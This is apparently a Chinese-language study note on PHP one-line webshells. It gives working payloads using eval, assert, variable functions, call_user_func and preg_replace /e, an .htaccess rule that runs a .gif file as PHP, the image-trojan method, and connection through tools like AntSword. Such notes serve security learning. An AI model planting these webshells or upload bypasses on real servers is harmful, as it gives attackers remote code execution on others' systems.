木马学习记录

一句话木马是什么

一句话木马就是仅需要一行代码的木马,很简短且简单,木马的函数将会执行我们发送的命令

如何发送命令&发送的命令如何执行?

有三种方式:GET,POST,COOKIE,一句话木马中用_GET\[' '\] _POST[' '] $_COOKIE[' ' ]接收我们传输的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

根据前文,一句话木马大多分为两部分,一部分是可以执行代码的部分,一部分是接收数据的部分

eval函数

POST方式

<?php eval($_POST['a']);?>

其中eval函数是执行命令的函数

_POST\['a'\]就是接收数据的部分,这是一个超全局变量,后文的_GET也是一个超全局变量。其中的<?php ;?>表示是代码语言,也就是将该代码当做php代码进行解析。eval 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾(也就是有php代码的标识)。

<?php @eval($_POST['a']);?>

@符号: 错误控制符,即使出现错误,也无视出现的错误信息,继续执行下边的代码。

GET方式

<?php @eval($_GET['a']);?>

与post方法类似,仅是上传参数时的方式不同。

assert函数

<?php assert(@$_POST['a']); ?>

这是直接用assert写的一句话木马的。assert与eval类似,但是也存在区别。

eval与assert区别

当遇到可变函数时eval不能执行,就可以用assert

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

比如下面这个一句话木马

复制代码
<?php $_POST['1']($_POST['2']); ?>

不能直接传入post参数:1=eval&2=xxx来进行连接

但是如果是assert函数就可以:1=assert&2=xxx

连接方式

浏览器中

前文的post方式和get方式的连接方法是在浏览器中进行传参:

post方式意思是将其中的密码用post传参的方法进行连接,这是在消息体中存放数据

get方式意思是将其中的密码用get传参的方法进行连接,这是在消息头的url路径中存放数据

这两的意思其实差不多:就是用post或者get方法接受变量,将变量里的字符当作php代码来执行。

用工具

工具有多种,比如蚁剑,中国菜刀,冰蝎,我主要用的是蚁剑

当我们上传一个文件,上传成功且知道路径就可以

进入蚁剑的主界面,然后右键,选择添加数据,编辑后显示连接成功,然后点击添加就可以访问该网站目录文件了。

绿色表示连接成功

红色表示有错误

橙色表示没错误但是未连接

一些特殊的php一句话木马

没有php标签的

这里利用script替代标签<? ?>

复制代码
<script language="php">@eval($_GET['b'])</script>

回调函数:

复制代码
<?php
@call_user_func(assert,$_POST['a']);
?>

调用call_user_func()函数,其中第一个参数是函数,第二、三个参数是函数里的参数

call_user_func函数类似于一种特别的调用函数的方法,使用方法如下:

function a($b,$c)

{

echo $b;

echo $c;

}

call_user_func('a', "111","222");

call_user_func('a', "333","444");

//显示 111 222 333 444

?>

preg_replace:

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能------可执行命令

这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个"/"之间。如果我们在这个表达式的末尾加上"e",那么这个函数的第二个参数就会被当作代码执行。

复制代码
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

php变量函数:

复制代码
<?php
$a = "eval";
$a(@$_POST['a']);
?>

该例子中第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名

.htaccess文件

复制代码
<FilesMatch "x.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif        
</FilesMatch>

该文件的作用就是将某文件(在上面的代码中也就是x.gif)当作php文件来解析,这样可以实现后缀名的绕过

那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错

图片马

故名思义,其本身是一个图片,但是包含了木马。最简单的写法就是自己弄一个文件大小较小的文件,然后用文本打开图片,在末尾加上一句话木马就写成了一个图片马

比如这个:

相关推荐
神经毒素11 分钟前
WEB安全--文件上传漏洞--36C3 CTF includer bypass
linux·安全·web安全
网络安全指导员4 小时前
如何在JMeter中配置断言,将非200状态码视为测试成功
网络·学习·jmeter·安全·web安全·架构
ALe要立志成为web糕手2 天前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
zhu12893035562 天前
网络安全的现状与防护措施
网络·安全·web安全
zhu12893035562 天前
网络安全与防护策略
网络·安全·web安全
virelin_Y.lin2 天前
系统与网络安全------Windows系统安全(1)
windows·安全·web安全·系统安全
zhu12893035562 天前
网络安全基础与防护策略
网络·安全·web安全
sszdlbw2 天前
BUUCTF-web刷题篇(6)
web安全·web·buuctf